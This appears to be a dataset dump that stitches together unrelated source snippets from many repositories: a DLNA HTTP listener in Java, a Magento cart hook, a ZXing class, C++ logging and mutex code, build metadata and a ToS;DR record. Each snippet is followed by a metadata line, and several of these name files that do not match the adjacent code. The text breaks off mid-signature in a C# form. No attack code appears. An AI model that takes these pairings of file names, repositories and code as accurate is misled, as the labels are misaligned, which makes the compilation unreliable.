downgrade(): raise Exception("Base revision, no downgrade is possible")
{'repo_name': 'dagster-io/dagster', 'stars': '1873', 'repo_language': 'Python', 'file_name': '__init__.py', 'mime_type': 'text/x-python', 'hash': -2021128400171206189, 'source_dataset': 'data'}
{ "approved": false, "id": "1879", "needModeration": true, "services": [ "groupon" ], "slug": "HLSXgywmmEpjzcDvy", "submittedBy": "euuLXKG9G2vNLbLDK", "title": "[Bad] Groupon reserves absolute right to User Content.", "topics": [ "third", "user-info" ], "tosdr": { "binding": true, "case": "[Bad] Groupon reserves absolute right to User Content.-bad-undefined", "point": "bad", "sources": [ "https://www.groupon.com/terms" ], "tldr": "[Bad] Groupon reserves absolute right to User Content and to disclose the User Content to any third-party, at any time, and for any reason." } }
{'repo_name': 'tosdr/tosdr.org', 'stars': '429', 'repo_language': 'HTML', 'file_name': 'home.html', 'mime_type': 'text/html', 'hash': 8626730468771591644, 'source_dataset': 'data'}
[Live Sample](http://esri.github.io/developer-support/web-js/3.x/graphic-layer-renderers/index.html) This sample shows different rendering style options.
{'repo_name': 'Esri/developer-support', 'stars': '230', 'repo_language': 'C#', 'file_name': 'migrate-sdo-to-geom.sql', 'mime_type': 'text/plain', 'hash': 6544770655065118100, 'source_dataset': 'data'}
module.exports = jest.fn((options, params) => { return new Promise(resolve => { setTimeout(() => { params.stack.push('Task 2.5'); resolve(); }); }); }); module.exports.description = 'Taks 2.5';
{'repo_name': 'sapegin/mrm', 'stars': '740', 'repo_language': 'JavaScript', 'file_name': 'git-username.js', 'mime_type': 'text/plain', 'hash': 4361427553993779903, 'source_dataset': 'data'}
#ifndef _LTS_NAMESPACE_H #define _LTS_NAMESPACE_H #define _LTS_NS_ _LTS_ #define _LTS_NS_BEGIN_ namespace _LTS_{ #define _LTS_NS_END_ } #define _USING_LTS_NS_ using namespace _LTS_; #endif
{'repo_name': 'QuantBox/QuantBox_XAPI', 'stars': '376', 'repo_language': 'C++', 'file_name': 'TypeConvert.cpp', 'mime_type': 'text/x-c', 'hash': -2092485886699834119, 'source_dataset': 'data'}
package com.connectsdk.service.upnp; import com.connectsdk.core.MediaInfo; import com.connectsdk.core.Util; import com.connectsdk.service.capability.MediaControl.PlayStateStatus; import com.connectsdk.service.capability.listeners.ResponseListener; import com.connectsdk.service.command.URLServiceSubscription; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import org.xmlpull.v1.XmlPullParserException; import java.io.BufferedReader; import java.io.ByteArrayInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.PrintWriter; import java.io.UnsupportedEncodingException; import java.net.ServerSocket; import java.net.Socket; import java.util.List; import java.util.concurrent.CopyOnWriteArrayList; public class DLNAHttpServer { final int port = 49291; volatile ServerSocket welcomeSocket; volatile boolean running = false; CopyOnWriteArrayList<URLServiceSubscription<?>> subscriptions; public DLNAHttpServer() { subscriptions = new CopyOnWriteArrayList<URLServiceSubscription<?>>(); } public synchronized void start() { if (running) { return; } running = true; try { welcomeSocket = new ServerSocket(this.port); } catch (IOException ex) { ex.printStackTrace(); return; } Util.runInBackground(new Runnable() { @Override public void run() { processRequests(); } }, true); } public synchronized void stop() { if (!running) { return; } for (URLServiceSubscription<?> sub : subscriptions) { sub.unsubscribe(); } subscriptions.clear(); if (welcomeSocket != null && !welcomeSocket.isClosed()) { try { welcomeSocket.close(); } catch (IOException ex) { ex.printStackTrace(); } } welcomeSocket = null; running = false; } private void processRequests() { while (running) { if (welcomeSocket == null || welcomeSocket.isClosed()) { break; } Socket connectionSocket = null; BufferedReader inFromClient = null; DataOutputStream outToClient = null; try { connectionSocket = welcomeSocket.accept(); } catch (IOException ex) { ex.printStackTrace(); // this socket may have been closed, so we'll stop break; } int c = 0; String body = null; try { inFromClient = new BufferedReader(new InputStreamReader(connectionSocket.getInputStream())); StringBuilder sb = new StringBuilder(); while ((c = inFromClient.read()) != -1) { sb.append((char)c); if (sb.toString().endsWith("\r\n\r\n")) break; } sb = new StringBuilder(); while ((c = inFromClient.read()) != -1) { sb.append((char)c); body = sb.toString(); if (body.endsWith("</e:propertyset>")) break; } } catch (IOException ex) { ex.printStackTrace(); } PrintWriter out = null; try { outToClient = new DataOutputStream(connectionSocket.getOutputStream()); out = new PrintWriter(outToClient); out.println("HTTP/1.1 200 OK"); out.println("Connection: Close"); out.println("Content-Length: 0"); out.println(); out.flush(); } catch (IOException ex) { ex.printStackTrace(); } finally { try { inFromClient.close(); out.close(); outToClient.close(); connectionSocket.close(); } catch (IOException ex) { ex.printStackTrace(); } catch (NullPointerException ex) { ex.printStackTrace(); } } if (body == null) continue; InputStream stream = null; try { stream = new ByteArrayInputStream(body.getBytes("UTF-8")); } catch (UnsupportedEncodingException ex) { ex.printStackTrace(); } JSONArray propertySet; DLNANotifyParser parser = new DLNANotifyParser(); try { propertySet = parser.parse(stream); for (int i = 0; i < propertySet.length(); i++) { JSONObject property = propertySet.getJSONObject(i); if (property.has("LastChange")) { JSONObject lastChange = property.getJSONObject("LastChange"); handleLastChange(lastChange); } } } catch (XmlPullParserException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (JSONException e) { e.printStackTrace(); } } } private void handleLastChange(JSONObject lastChange) throws JSONException { if (lastChange.has("InstanceID")) { JSONArray instanceIDs = lastChange.getJSONArray("InstanceID"); for (int i = 0; i < instanceIDs.length(); i++) { JSONArray events = instanceIDs.getJSONArray(i); for (int j = 0; j < events.length(); j++) { JSONObject entry = events.getJSONObject(j); handleEntry(entry); } } } } private void handleEntry(JSONObject entry) throws JSONException { if (entry.has("TransportState")) { String transportState = entry.getString("TransportState"); PlayStateStatus status = PlayStateStatus.convertTransportStateToPlayStateStatus(transportState); for (URLServiceSubscription<?> sub: subscriptions) { if (sub.getTarget().equalsIgnoreCase("playState")) { for (int j = 0; j < sub.getListeners().size(); j++) { @SuppressWarnings("unchecked") ResponseListener<Object> listener = (ResponseListener<Object>) sub.getListeners().get(j); Util.postSuccess(listener, status); } } } } if ((entry.has("Volume")&&!entry.has("channel"))||(entry.has("Volume")&&entry.getString("channel").equals("Master"))) { int intVolume = entry.getInt("Volume"); float volume = (float) intVolume / 100; for (URLServiceSubscription<?> sub : subscriptions) { if (sub.getTarget().equalsIgnoreCase("volume")) { for (int j = 0; j < sub.getListeners().size(); j++) { @SuppressWarnings("unchecked") ResponseListener<Object> listener = (ResponseListener<Object>) sub.getListeners().get(j); Util.postSuccess(listener, volume); } } } } if ((entry.has("Mute")&&!entry.has("channel"))||(entry.has("Mute")&&entry.getString("channel").equals("Master"))) { String muteStatus = entry.getString("Mute"); boolean mute; try { mute = (Integer.parseInt(muteStatus) == 1); } catch(NumberFormatException e) { mute = Boolean.parseBoolean(muteStatus); } for (URLServiceSubscription<?> sub : subscriptions) { if (sub.getTarget().equalsIgnoreCase("mute")) { for (int j = 0; j < sub.getListeners().size(); j++) { @SuppressWarnings("unchecked") ResponseListener<Object> listener = (ResponseListener<Object>) sub.getListeners().get(j); Util.postSuccess(listener, mute); } } } } if (entry.has("CurrentTrackMetaData")) { String trackMetaData = entry.getString("CurrentTrackMetaData"); MediaInfo info = DLNAMediaInfoParser.getMediaInfo(trackMetaData); for (URLServiceSubscription<?> sub : subscriptions) { if (sub.getTarget().equalsIgnoreCase("info")) { for (int j = 0; j < sub.getListeners().size(); j++) { @SuppressWarnings("unchecked") ResponseListener<Object> listener = (ResponseListener<Object>) sub.getListeners().get(j); Util.postSuccess(listener, info); } } } } } public int getPort() { return port; } public List<URLServiceSubscription<?>> getSubscriptions() { return subscriptions; } public void setSubscriptions(List<URLServiceSubscription<?>> subscriptions) { this.subscriptions = new CopyOnWriteArrayList<URLServiceSubscription<?>>(subscriptions); } public boolean isRunning() { return running; } }
{'repo_name': 'butterproject/butter-android', 'stars': '281', 'repo_language': 'Java', 'file_name': 'AndroidManifest.xml', 'mime_type': 'text/xml', 'hash': 1058411042902560465, 'source_dataset': 'data'}
#ifndef __SPEEX_TYPES_H__ #define __SPEEX_TYPES_H__ /* these are filled in by configure */ typedef short spx_int16_t; typedef unsigned short spx_uint16_t; typedef int spx_int32_t; typedef unsigned int spx_uint32_t; #endif
{'repo_name': 'tropo/PhonoSDK', 'stars': '132', 'repo_language': 'C', 'file_name': 'phono.config.js', 'mime_type': 'text/plain', 'hash': 7823519830746176087, 'source_dataset': 'data'}
dependencies: - name: r2d3-render version: 0.1.0 src: htmlwidgets/lib/r2d3 script: - r2d3-render.js - name: webcomponents version: 2.0.0 src: htmlwidgets/lib/webcomponents script: - webcomponents.js
{'repo_name': 'rstudio/r2d3', 'stars': '406', 'repo_language': 'R', 'file_name': 'reexports.Rd', 'mime_type': 'text/plain', 'hash': -5226851460950915782, 'source_dataset': 'data'}
import { useCallback, useEffect, useMemo, useState } from 'react'; import { useMutation } from '@apollo/client'; import { useAppContext } from '@magento/peregrine/lib/context/app'; import { useCartContext } from '@magento/peregrine/lib/context/cart'; import { deriveErrorMessage } from '../../../util/deriveErrorMessage'; /** * This talon contains logic for a product component used in a product listing component. * It performs effects and returns prop data for that component. * * This talon performs the following effects: * * - Manage the updating state of the cart while a product is being updated or removed * - Reset the current item being edited item when the app drawer is closed * * @function * * @param {Object} props * @param {ProductItem} props.item Product item data * @param {ProductMutations} props.mutations GraphQL mutations for a product in a cart * @param {function} props.setActiveEditItem Function for setting the actively editing item * @param {function} props.setIsCartUpdating Function for setting the updating state of the cart * * @return {ProductTalonProps} * * @example <caption>Importing into your project</caption> * import { useProduct } from '@magento/peregrine/lib/talons/CartPage/ProductListing/useProduct'; */ export const useProduct = props => { const { item, mutations: { removeItemMutation, updateItemQuantityMutation }, setActiveEditItem, setIsCartUpdating } = props; const flatProduct = flattenProduct(item); const [ removeItem, { called: removeItemCalled, error: removeItemError, loading: removeItemLoading } ] = useMutation(removeItemMutation); const [ updateItemQuantity, { loading: updateItemLoading, error: updateError, called: updateItemCalled } ] = useMutation(updateItemQuantityMutation); useEffect(() => { if (updateItemCalled || removeItemCalled) { // If a product mutation is in flight, tell the cart. setIsCartUpdating(updateItemLoading || removeItemLoading); } // Reset updating state on unmount return () => setIsCartUpdating(false); }, [ removeItemCalled, removeItemLoading, setIsCartUpdating, updateItemCalled, updateItemLoading ]); const [{ cartId }] = useCartContext(); const [{ drawer }, { toggleDrawer }] = useAppContext(); const [isFavorite, setIsFavorite] = useState(false); // Use local state to determine whether to display errors or not. // Could be replaced by a "reset mutation" function from apollo client. // https://github.com/apollographql/apollo-feature-requests/issues/170 const [displayError, setDisplayError] = useState(false); const derivedErrorMessage = useMemo(() => { return ( (displayError && deriveErrorMessage([updateError, removeItemError])) || '' ); }, [displayError, removeItemError, updateError]); const handleToggleFavorites = useCallback(() => { setIsFavorite(!isFavorite); }, [isFavorite]); const handleEditItem = useCallback(() => { setActiveEditItem(item); toggleDrawer('product.edit'); // If there were errors from removing/updating the product, hide them // when we open the modal. setDisplayError(false); }, [item, setActiveEditItem, toggleDrawer]); useEffect(() => { if (drawer === null) { setActiveEditItem(null); } }, [drawer, setActiveEditItem]); const handleRemoveFromCart = useCallback(() => { try { removeItem({ variables: { cartId, itemId: item.id } }); } catch (err) { // Make sure any errors from the mutation are displayed. setDisplayError(true); } }, [cartId, item.id, removeItem]); const handleUpdateItemQuantity = useCallback( async quantity => { try { await updateItemQuantity({ variables: { cartId, itemId: item.id, quantity } }); } catch (err) { // Make sure any errors from the mutation are displayed. setDisplayError(true); } }, [cartId, item.id, updateItemQuantity] ); return { errorMessage: derivedErrorMessage, handleEditItem, handleRemoveFromCart, handleToggleFavorites, handleUpdateItemQuantity, isEditable: !!flatProduct.options.length, isFavorite, product: flatProduct }; }; const flattenProduct = item => { const { configurable_options: options = [], prices, product, quantity } = item; const { price } = prices; const { value: unitPrice, currency } = price; const { name, small_image, stock_status: stockStatus, url_key: urlKey, url_suffix: urlSuffix } = product; const { url: image } = small_image; return { currency, image, name, options, quantity, stockStatus, unitPrice, urlKey, urlSuffix }; }; /** JSDocs type definitions */ /** * GraphQL mutations for a product in a cart. * This is a type used by the {@link useProduct} talon. * * @typedef {Object} ProductMutations * * @property {GraphQLAST} removeItemMutation Mutation for removing an item in a cart * @property {GraphQLAST} updateItemQuantityMutation Mutation for updating the item quantity in a cart * * @see [product.js]{@link https://github.com/magento/pwa-studio/blob/develop/packages/venia-ui/lib/components/CartPage/ProductListing/product.js} * to see the mutations used in Venia */ /** * Object type returned by the {@link useProduct} talon. * It provides prop data for rendering a product component on a cart page. * * @typedef {Object} ProductTalonProps * * @property {String} errorMessage Error message from an operation perfored on a cart product. * @property {function} handleEditItem Function to use for handling when a product is modified. * @property {function} handleRemoveFromCart Function to use for handling the removal of a cart product. * @property {function} handleToggleFavorites Function to use for handling favorites toggling on a cart product. * @property {function} handleUpdateItemQuantity Function to use for handling updates to the product quantity in a cart. * @property {boolean} isEditable True if a cart product is editable. False otherwise. * @property {boolean} isFavorite True if the cart product is a favorite product. False otherwise. * @property {ProductItem} product Cart product data */ /** * Data about a product item in the cart. * This type is used in the {@link ProductTalonProps} type returned by the {@link useProduct} talon. * * @typedef {Object} ProductItem * * @property {String} currency The currency associated with the cart product * @property {String} image The url for the cart product image * @property {String} name The name of the product * @property {Array<Object>} options A list of configurable option objects * @property {number} quantity The quantity associated with the cart product * @property {number} unitPrice The product's unit price * @property {String} urlKey The product's url key * @property {String} urlSuffix The product's url suffix */
{'repo_name': 'magento/pwa-studio', 'stars': '687', 'repo_language': 'JavaScript', 'file_name': 'index.js', 'mime_type': 'text/plain', 'hash': -3224434919396614609, 'source_dataset': 'data'}
/* * Copyright 2008 ZXing authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.zxing.client.result; /** * @author Sean Owen */ public final class GeoParsedResult extends ParsedResult { private final double latitude; private final double longitude; private final double altitude; private final String query; GeoParsedResult(double latitude, double longitude, double altitude, String query) { super(ParsedResultType.GEO); this.latitude = latitude; this.longitude = longitude; this.altitude = altitude; this.query = query; } public String getGeoURI() { StringBuilder result = new StringBuilder(); result.append("geo:"); result.append(latitude); result.append(','); result.append(longitude); if (altitude > 0) { result.append(','); result.append(altitude); } if (query != null) { result.append('?'); result.append(query); } return result.toString(); } /** * @return latitude in degrees */ public double getLatitude() { return latitude; } /** * @return longitude in degrees */ public double getLongitude() { return longitude; } /** * @return altitude in meters. If not specified, in the geo URI, returns 0.0 */ public double getAltitude() { return altitude; } /** * @return query string associated with geo URI or null if none exists */ public String getQuery() { return query; } @Override public String getDisplayResult() { StringBuilder result = new StringBuilder(20); result.append(latitude); result.append(", "); result.append(longitude); if (altitude > 0.0) { result.append(", "); result.append(altitude); result.append('m'); } if (query != null) { result.append(" ("); result.append(query); result.append(')'); } return result.toString(); } }
{'repo_name': 'coderyi/hello-weex', 'stars': '194', 'repo_language': 'Java', 'file_name': 'objectAssign.js', 'mime_type': 'text/plain', 'hash': 6769552001466354207, 'source_dataset': 'data'}
/* * Simple stream-based logger for C++11. * * Adapted from * http://vilipetek.com/2014/04/17/thread-safe-simple-logger-in-c11/ */ #include "utils/logger.hpp" #include <iostream> #include <iomanip> // needed for MSVC #ifdef WIN32 #define localtime_r(_Time, _Tm) localtime_s(_Tm, _Time) #endif // localtime_r namespace redox { namespace log { // Convert date and time info from tm to a character string // in format "YYYY-mm-DD HH:MM:SS" and send it to a stream std::ostream &operator<<(std::ostream &stream, const tm *tm) { // I had to muck around this section since GCC 4.8.1 did not implement std::put_time // return stream << std::put_time(tm, "%Y-%m-%d %H:%M:%S"); return stream << 1900 + tm->tm_year << '-' << std::setfill('0') << std::setw(2) << tm->tm_mon + 1 << '.' << std::setfill('0') << std::setw(2) << tm->tm_mday << ' ' << std::setfill('0') << std::setw(2) << tm->tm_hour << ':' << std::setfill('0') << std::setw(2) << tm->tm_min << ':' << std::setfill('0') << std::setw(2) << tm->tm_sec; } // -------------------- // Logstream // -------------------- Logstream::Logstream(Logger &logger, Level loglevel) : m_logger(logger), m_loglevel(loglevel) { } Logstream::Logstream(const Logstream &ls) : m_logger(ls.m_logger), m_loglevel(ls.m_loglevel) { // As of GCC 8.4.1 basic_stream is still lacking a copy constructor // (part of C++11 specification) // // GCC compiler expects the copy constructor even thought because of // RVO this constructor is never used } Logstream::~Logstream() { if(m_logger.level() <= m_loglevel) m_logger.log(m_loglevel, this->str()); } // -------------------- // Logger // -------------------- Logger::Logger(std::string filename, Level loglevel) : m_file(filename, std::fstream::out | std::fstream::app | std::fstream::ate), m_stream(m_file), m_loglevel(loglevel) {} Logger::Logger(std::ostream &outfile, Level loglevel) : m_stream(outfile), m_loglevel(loglevel) {} Logger::~Logger() { m_stream.flush(); } const tm *Logger::getLocalTime() { auto in_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now()); localtime_r(&in_time_t, &m_time); return &m_time; } void Logger::log(Level l, std::string oMessage) { const static char *LevelStr[] = { "[Trace] ", "[Debug] ", "[Info] ", "[Warning]", "[Error] ", "[Fatal] " }; m_lock.lock(); m_stream << '(' << getLocalTime() << ") " << LevelStr[l] << "\t" << oMessage << std::endl; m_lock.unlock(); } } // End namespace } // End namespace
{'repo_name': 'hmartiro/redox', 'stars': '347', 'repo_language': 'C++', 'file_name': 'Findlibev.cmake', 'mime_type': 'text/plain', 'hash': -5507873327585759983, 'source_dataset': 'data'}
fileFormatVersion: 2 guid: 1e6067adf30eb184e9fbbb53cccd22d3 folderAsset: yes timeCreated: 1452616719 licenseType: Store DefaultImporter: userData: assetBundleName: assetBundleVariant:
{'repo_name': 'wolfgangfengel/GPUZen2', 'stars': '110', 'repo_language': 'C++', 'file_name': 'tiling_and_blending.vert', 'mime_type': 'text/x-c', 'hash': 6891576464310133900, 'source_dataset': 'data'}
The code in this directory is a test implementation of the ADC code in the parent directory applied to the ADS7883 IC. This code was used to help develop the PRU version in the Chapter13 directory. This code is functional, but it suffers from jitter (as expected) and as such the data rate cannot be set higher than the MCP3008, despite being a 12-bit 2MSps capable device. Note: this device does not require a MOSI as the data is sampled on the falling edge of chip select (CS). Please see: exploringbeaglebone.com/chapter8 and exploringbeaglebone.com/chapter13 for more information.
{'repo_name': 'derekmolloy/exploringBB', 'stars': '358', 'repo_language': 'C++', 'file_name': 'test.pyx', 'mime_type': 'text/plain', 'hash': 5895576375328313750, 'source_dataset': 'data'}
//============================================================================== // Copyright (c) 2016-2020 Advanced Micro Devices, Inc. All rights reserved. /// \author AMD Developer Tools Team /// \file /// \brief Logging utility //============================================================================== #include "logging.h" #include <assert.h> #include "utility.h" #ifdef _WIN32 #pragma comment(lib, "Winmm.lib") #endif GPATracer gTracerSingleton; GPALogger g_loggerSingleton; void GPAInternalLogger(GPA_Logging_Type logType, const char* pLogMsg) { if (GPA_LOGGING_INTERNAL == logType) { if (g_loggerSingleton.m_internalLoggingFileStream.is_open()) { g_loggerSingleton.m_internalLoggingFileStream << "GPA Internal Logging: " << pLogMsg << std::endl; } } } GPATracer::GPATracer() { #ifdef AMDT_INTERNAL // in internal builds, we want all the tracing to be displayed m_topLevelOnly = false; #else // in public builds, the end-user should only see the functions they call m_topLevelOnly = true; #endif // AMDT_INTERNAL } void GPATracer::EnterFunction(const char* pFunctionName) { std::thread::id currentThreadId; auto tabCounter = GetTabCounter(&currentThreadId); if ((!tabCounter->second && m_topLevelOnly) || !m_topLevelOnly) { std::stringstream message; for (int32_t tempLogTab = 0; tempLogTab < tabCounter->second; tempLogTab++) { message << " "; } message << "Thread " << currentThreadId << " "; message << "Enter: "; message << pFunctionName; message << "."; #ifdef AMDT_INTERNAL GPA_LogDebugTrace(message.str().c_str()); if (tabCounter->second == 0) { // if this is the top level, also pass it to the normal LogTrace GPA_LogTrace(message.str().c_str()); } #else GPA_LogTrace(message.str().c_str()); #endif // AMDT_INTERNAL } ++tabCounter->second; } void GPATracer::LeaveFunction(const char* pFunctionName) { std::thread::id currentThreadId; auto tabCounter = GetTabCounter(&currentThreadId); if (tabCounter->second > 0) { --tabCounter->second; } if ((!tabCounter->second && m_topLevelOnly) || !m_topLevelOnly) { std::stringstream message; for (int32_t tempLogTab = 0; tempLogTab < tabCounter->second; tempLogTab++) { message << " "; } message << "Thread " << currentThreadId << " "; message << "Leave: "; message << pFunctionName; message << "."; #ifdef AMDT_INTERNAL GPA_LogDebugTrace(message.str().c_str()); if (tabCounter->second == 0) { // if this is the top level, also pass it to the normal LogTrace GPA_LogTrace(message.str().c_str()); } #else GPA_LogTrace(message.str().c_str()); #endif // AMDT_INTERNAL } } void GPATracer::OutputFunctionData(const char* pData) { std::thread::id currentThreadId; auto tabCounter = GetTabCounter(&currentThreadId); if (((tabCounter->second) == 1 && m_topLevelOnly) || !m_topLevelOnly) { std::stringstream message; for (int32_t tempLogTab = 0; tempLogTab < tabCounter->second; tempLogTab++) { message << " "; } message << "Thread " << currentThreadId << " "; message << pData; message << "."; #ifdef AMDT_INTERNAL GPA_LogDebugTrace(message.str().c_str()); if (tabCounter->second == 0) { // if this is the top level, also pass it to the normal LogTrace GPA_LogTrace(message.str().c_str()); } #else GPA_LogTrace(message.str().c_str()); #endif // AMDT_INTERNAL } } std::map<std::thread::id, int32_t>::iterator GPATracer::GetTabCounter(std::thread::id* pCurrentThreadId) { std::lock_guard<std::mutex> lock(m_tracerMutex); *pCurrentThreadId = std::this_thread::get_id(); std::map<std::thread::id, int32_t>::iterator ret = m_threadTabCountMap.find(*pCurrentThreadId); if (ret == m_threadTabCountMap.end()) { m_threadTabCountMap[*pCurrentThreadId] = 0; ret = m_threadTabCountMap.find(*pCurrentThreadId); } #ifdef _DEBUG // Validate tab value const int32_t MAX_TAB_COUNT = 1024; assert(ret->second >= 0 && ret->second < MAX_TAB_COUNT); #endif return ret; } ScopeTrace::ScopeTrace(const char* pTraceFunction) { if (g_loggerSingleton.IsTracingEnabled()) { gTracerSingleton.EnterFunction(pTraceFunction); m_traceFunction = pTraceFunction; } } ScopeTrace::~ScopeTrace() { if (g_loggerSingleton.IsTracingEnabled()) { gTracerSingleton.LeaveFunction(m_traceFunction.c_str()); } } GPALogger::GPALogger() : m_loggingType(GPA_LOGGING_NONE) , m_loggingCallback(nullptr) , m_enableInternalLogging(false) { #ifdef _WIN32 InitializeCriticalSection(&m_hLock); #endif #ifdef _LINUX pthread_mutexattr_t mutexattr; pthread_mutexattr_init(&mutexattr); // Set the mutex as a recursive mutex pthread_mutexattr_settype(&mutexattr, PTHREAD_MUTEX_RECURSIVE_NP); // create the mutex with the attributes set pthread_mutex_init(&m_hLock, &mutexattr); //After initializing the mutex, the thread attribute can be destroyed pthread_mutexattr_destroy(&mutexattr); #endif #ifdef _DEBUG std::string currentModulePath; GPAUtil::GetCurrentModulePath(currentModulePath); m_internalLogFileName = currentModulePath + "GPA-Internal-Log.txt"; std::remove(m_internalLogFileName.c_str()); m_internalLoggingFileStream.open(m_internalLogFileName.c_str(), std::ios_base::out | std::ios_base::app); #endif } void GPALogger::SetLoggingCallback(GPA_Logging_Type loggingType, GPA_LoggingCallbackPtrType loggingCallback) { if (nullptr == loggingCallback) { m_loggingCallback = nullptr; m_loggingType = GPA_LOGGING_NONE; } else { m_loggingCallback = loggingCallback; m_loggingType = loggingType; } } void GPALogger::Log(GPA_Logging_Type logType, const char* pMessage) { EnterCriticalSection(&m_hLock); // if the supplied message type is among those that the user wants be notified of, // then pass the message along. if ((logType & m_loggingType) && nullptr != m_loggingCallback) { m_loggingCallback(logType, pMessage); if (m_enableInternalLogging) { m_gpaInternalLogger(logType, pMessage); } } LeaveCriticalSection(&m_hLock); } GPALogger::~GPALogger() { #ifdef _WIN32 DeleteCriticalSection(&m_hLock); #else pthread_mutex_destroy(&m_hLock); #endif }
{'repo_name': 'GPUOpen-Tools/gpu_performance_api', 'stars': '148', 'repo_language': 'C++', 'file_name': 'GPUPerfAPI.h', 'mime_type': 'text/x-c', 'hash': 3203459072762920756, 'source_dataset': 'data'}
/* * Copyright © 2014 Canonical Ltd. * * This program is free software: you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License version 2 or 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * Authored By: Alan Griffiths <alan@octopull.co.uk> */ #include "mir/recursive_read_write_mutex.h" #include <algorithm> void mir::RecursiveReadWriteMutex::read_lock() { auto const my_id = std::this_thread::get_id(); std::unique_lock<decltype(mutex)> lock{mutex}; cv.wait(lock, [&]{ return !write_locking_thread.count || write_locking_thread.id == my_id; }); auto const my_count = std::find_if( read_locking_threads.begin(), read_locking_threads.end(), [my_id](ThreadLockCount const& candidate) { return my_id == candidate.id; }); if (my_count == read_locking_threads.end()) { read_locking_threads.push_back(ThreadLockCount(my_id, 1U)); } else { ++(my_count->count); } } void mir::RecursiveReadWriteMutex::read_unlock() { auto const my_id = std::this_thread::get_id(); std::lock_guard<decltype(mutex)> lock{mutex}; auto const my_count = std::find_if( read_locking_threads.begin(), read_locking_threads.end(), [my_id](ThreadLockCount const& candidate) { return my_id == candidate.id; }); --(my_count->count); cv.notify_all(); } void mir::RecursiveReadWriteMutex::write_lock() { auto const my_id = std::this_thread::get_id(); std::unique_lock<decltype(mutex)> lock{mutex}; cv.wait(lock, [&] { if (write_locking_thread.count && write_locking_thread.id != my_id) return false; for (auto const& candidate : read_locking_threads) { if (candidate.id != my_id && candidate.count != 0) return false; } return true; }); ++write_locking_thread.count; write_locking_thread.id = my_id; } void mir::RecursiveReadWriteMutex::write_unlock() { std::lock_guard<decltype(mutex)> lock{mutex}; --write_locking_thread.count; cv.notify_all(); }
{'repo_name': 'MirServer/mir', 'stars': '264', 'repo_language': 'C++', 'file_name': 'format', 'mime_type': 'text/plain', 'hash': 5719749640491390930, 'source_dataset': 'data'}
/* * eXist-db Open Source Native XML Database * Copyright (C) 2001 The eXist-db Authors * * info@exist-db.org * http://www.exist-db.org * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ package org.exist.storage.sync; /** * It will periodically trigger a cache sync to write * cached pages to disk. */ public enum Sync { MINOR, MAJOR }
{'repo_name': 'eXist-db/exist', 'stars': '275', 'repo_language': 'Java', 'file_name': 'exist-webapp-context.xml', 'mime_type': 'text/xml', 'hash': 5070691863838039247, 'source_dataset': 'data'}
// ImportPipelinePluginsForm.cs // (c) 2012-2020, Charles Lechasseur // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. using System; using System.Diagnostics; using System.Drawing; using System.Windows.Forms; using PathCopyCopy.Settings.Core.Plugins; using PathCopyCopy.Settings.Properties; namespace PathCopyCopy.Settings.UI.Forms { /// <summary> /// Form that can be used to select pipeline plugins to import. To use, /// create an instance and call <see cref="SelectPlugins"/>. /// </summary> public partial class ImportPipelinePluginsForm : Form { /// Caches a brush to paint regular list items in our plugins list box. private Brush listItemRegularBrush; /// Caches a brush to paint disabled list items in our plugins list box. private Brush listItemDisabledBrush; /// Caches a brush to paint selected list items in our plugins list box. private Brush listItemSelectedBrush; /// Flag to prevent stack overflows when changing selection. private bool reselecting = false; /// Flag to tell whether we already warned user about overwriting global plugins. private static bool warnedAboutGlobalOverwrites = false; /// Flag to tell whether we already warned user about importing incompatible plugins. private static bool warnedAboutIncompatiblePlugins = false; /// <summary> /// Constructor. /// </summary> public ImportPipelinePluginsForm() { InitializeComponent(); } /// <summary> /// Shows the form as a modal dialog, asking the user which plugins among /// the given list he/she wants to import. /// </summary> /// <param name="owner">Owner window of the dialog. Can be <c>null</c>.</param> /// <param name="pluginCollection">List of plugins available for importing. /// Upon exit, if the method returns <c>true</c>, the list will be modified /// to only contain those plugins selected by the user.</param> /// <param name="pluginOverwrites">Container of information about plugins /// overwriting existing ones. Upon exit, if the method returns <c>true</c>, /// the list will be modified to only contain plugins that are also in /// <paramref name="pluginCollection"/>.</param> /// <returns><c>true</c> if the user pressed OK to import selected /// plugins.</returns> public bool SelectPlugins(IWin32Window owner, 